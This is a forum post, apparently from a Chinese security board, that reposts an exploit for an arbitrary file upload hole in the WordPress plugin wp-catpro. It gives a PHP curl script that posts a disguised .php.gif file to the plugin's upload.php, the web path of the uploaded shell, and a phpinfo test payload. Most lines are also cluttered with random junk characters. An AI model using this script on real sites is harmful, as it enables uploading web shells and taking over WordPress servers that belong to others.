找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2080|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability& m/ ^/ K2 I: ]
#-----------------------------------------------------------------------9 K+ G9 `3 L1 V0 N* H) _

$ T. q( h, C8 R- B8 o) w! S作者  => Zikou-16' e0 v2 e, I& b7 P- q) c" g" X# n
邮箱 => zikou16x@gmail.com* V1 c/ q  T$ B! O" Q# L
测试系统 : Windows 7 , Backtrack 5r3
: e; a! Y4 T% s/ w' ^0 e7 M下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip0 ]( E* v4 `$ E8 M
####
1 n' C" T6 z0 E/ a
3 N; m# Z. D! s- T2 K7 q#=> Exploit 信息:
4 F1 f- V; r& g$ c------------------1 X1 e+ H5 |* ^
# 攻击者可以上传 file/shell.php.gif
2 J1 N* V! `  G' b9 B6 m# ("jpg", "gif", "png")  // Allowed file extensions
; |0 F, o  N$ i+ Z* ~+ }# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)" [' d- X+ g# t* g3 C( g/ X1 {
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
5 A9 _5 h8 e& n8 g# l8 k$ C------------------
. j3 C2 ]# L  c6 b3 d8 }8 c7 H % ^1 U8 E4 A$ b2 w- p* S
#=> Exploit
& V* g2 o: h2 a: G-----------3 _" d) V, b' D& s; t7 H
<?php5 H# |# `6 D( Y4 i2 U6 G) ?

, \  Y, y- w& ?$uploadfile="zik.php.gif";
) L6 F6 G$ U) G- X# d$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
, W5 Y# g: Y1 d3 Vcurl_setopt($ch, CURLOPT_POST, true);/ X) X* J6 i% y' R# l
curl_setopt($ch, CURLOPT_POSTFIELDS,
" J8 f! G9 r( i1 g- ]! Garray('Filedata'=>"@$uploadfile",
7 H7 x; ~) a2 t: U'folder'=>'/wp-content/uploads/catpro/'));3 t2 O  f: O+ x/ \
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ J5 I1 I# I# P+ O' j. n" W9 t% g6 f$postResult = curl_exec($ch);5 L# G4 y0 k3 a3 x  l
curl_close($ch);8 k, F0 r6 v' O6 a0 M- j% O
# }6 K, L5 j" `
print "$postResult";" U) X. J/ r1 Z/ B

4 j' e' A! O% j/ N8 y7 LShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
- `2 v' k# R: I/ m  ?>
! x$ n+ b/ ]/ V- p<?php8 ?' x& W. E+ g6 N+ J8 A
phpinfo();
& b) o  R. C* T0 j7 n0 ~?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表